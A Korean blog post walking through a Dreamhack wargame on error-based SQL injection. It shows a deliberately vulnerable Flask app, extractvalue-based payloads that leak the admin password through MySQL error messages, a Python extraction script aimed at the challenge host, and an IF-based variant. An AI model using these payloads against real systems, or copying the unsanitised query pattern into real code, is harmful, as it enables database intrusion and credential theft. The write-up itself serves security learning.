https://dreamhack.io/wargame/challenges/412/
풀어보자
첫 화면이다.
blind sql injection과 달리 참 거짓의 유무를 알려주지 않는다. 코드를 살펴보도록 하자
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
try:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
return template.format(uid=uid)
except Exception as e:
return str(e)
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
전체 코드다. try-except 구문을 보자. 오류가 발생하면 그 오류를 보여준다.
여기서 취약점이 발생한다.
extractvalue() 함수를 이용해 보겠다.
extractvalue 함수는 첫 번째 인자로 전달된 XML 데이터에서 두 번째 인자인 XPATH 식을 통해 데이터를 추출한다.
올바른 extractvalue() 예시
mysql> SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');
+-----------------------------------------------+
| extractvalue('<a>test</a> <b>abcd</b>', '/a') |
+-----------------------------------------------+
| test |
+-----------------------------------------------+
1 row in set (0.00 sec)
여기서 취약점이 존재하는데, XPATH식에 select문과 같은 구문을 사용하면 select문의 실행 결과를 보여주게 된다.
잘못된 extractvalue() 예시
mysql> SELECT extractvalue(1, ':abcd');
ERROR 1105 (HY000): XPATH syntax error: ':abcd'
# ":" 로 시작하면 올바르지 않은 XPATH 식
따라서 이를 이용해서 익스플로잇을 해보자.
admin' and extractvalue(1,concat(0x3a,(select upw from user where uid="admin")))
concat()함수 뒤에 0x3a는 무엇을 의미하는지 아는가. 이는 아스키 코드로 바꿔보면 ":"이다. 이것을 이렇게 쓰는 이유는 영문자로 출력시 영문자 부분이 잘리게 된다. 만약 0x41로 한다면 ADH{~~~~}가 아닌 영문자 ADH가 잘린 {~~~~}가 출력된다. 예상하기론 영문자 부분을 올바른 XPATH식으로 인식해서 생략하고 특수문자부터 출력하는 것 같다.
따라서 ":"같은 특수문자를 입력해서 잘리는 부분 없이 출력하도록 해야한다.
실행결과 글자 수 초과로 인해 뒷부분이 잘린다. 이를 어떻게 해결할까
SUBSTRING()함수를 이용해 문자열을 잘라서 출력해보자.
admin' and extractvalue(1,concat(0x3a,(select SUBSTRING(upw,1,10) from user where uid="admin")))-- -
위 코드를 사용했을 때 출력 결과다.
substring에 대해 간략히 설명하지면, substring(자를 문자열, 시작위치, 출력할 문자열 갯수)이다.
총 문자열이 몇 개인지 모르니 무작정 손으로 하기엔 버거워 보인다. 익스플로잇 코드를 짜보자.
from requests import get
host="http://host2.dreamhack.games:11105/"
def injection():
length=0
r=get(f"{host}/?uid=admin' and extractvalue(1,concat(0x3a,(select length(upw) from user where uid='admin')))-- -")
length=r.text[30:-3] #문자열 길이 찾기
upw=""
query=""
for i in range(1,int(length)+1,10):
r=get(f"{host}/?uid=admin' and extractvalue(1,concat(0x3a,(SELECT SUBSTRING(upw,{i},10) FROM user WHERE uid='admin')))-- -")
if "1105" in r.text:
tmp=r.text[30:-3]
upw+=tmp #패스워드 찾기
print(upw)
injection()
위에서부터 설명해보자면, length를 이용해 플래그의 길이를 파악한다. 이후 SUBSTRING 함수를 이용해 문자열을 잘라가며 upw라는 변수에 이를 저장한다.
이를 실행해보면?
짜자잔
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
if 문을 이용해서도 익스플로잇 코드를 짤 수 있다.
' union select '',if(length(upw) = {upw_len}, 9e307*2,0),'' from user where uid='admin'-- -
sql의 if문을 이용해 길이를 구하는 코드를 써봤다. 이 밖에도 time을 이용해서 풀 수 있지만, 이는 다음에 시간이 난다면 포스팅 하도록 하겠다.
'웹 해킹 > 드림핵' 카테고리의 다른 글
[드림핵] XSS Filtering Bypass (0) | 2023.05.15 |
---|---|
[드림핵] sql injection bypass WAF (0) | 2023.05.15 |
[드림핵]blind-command 풀이 (0) | 2023.03.12 |
[드림핵]simple_sqli 풀이 (0) | 2023.03.11 |
[드림핵]csrf-2 풀이 (0) | 2023.03.11 |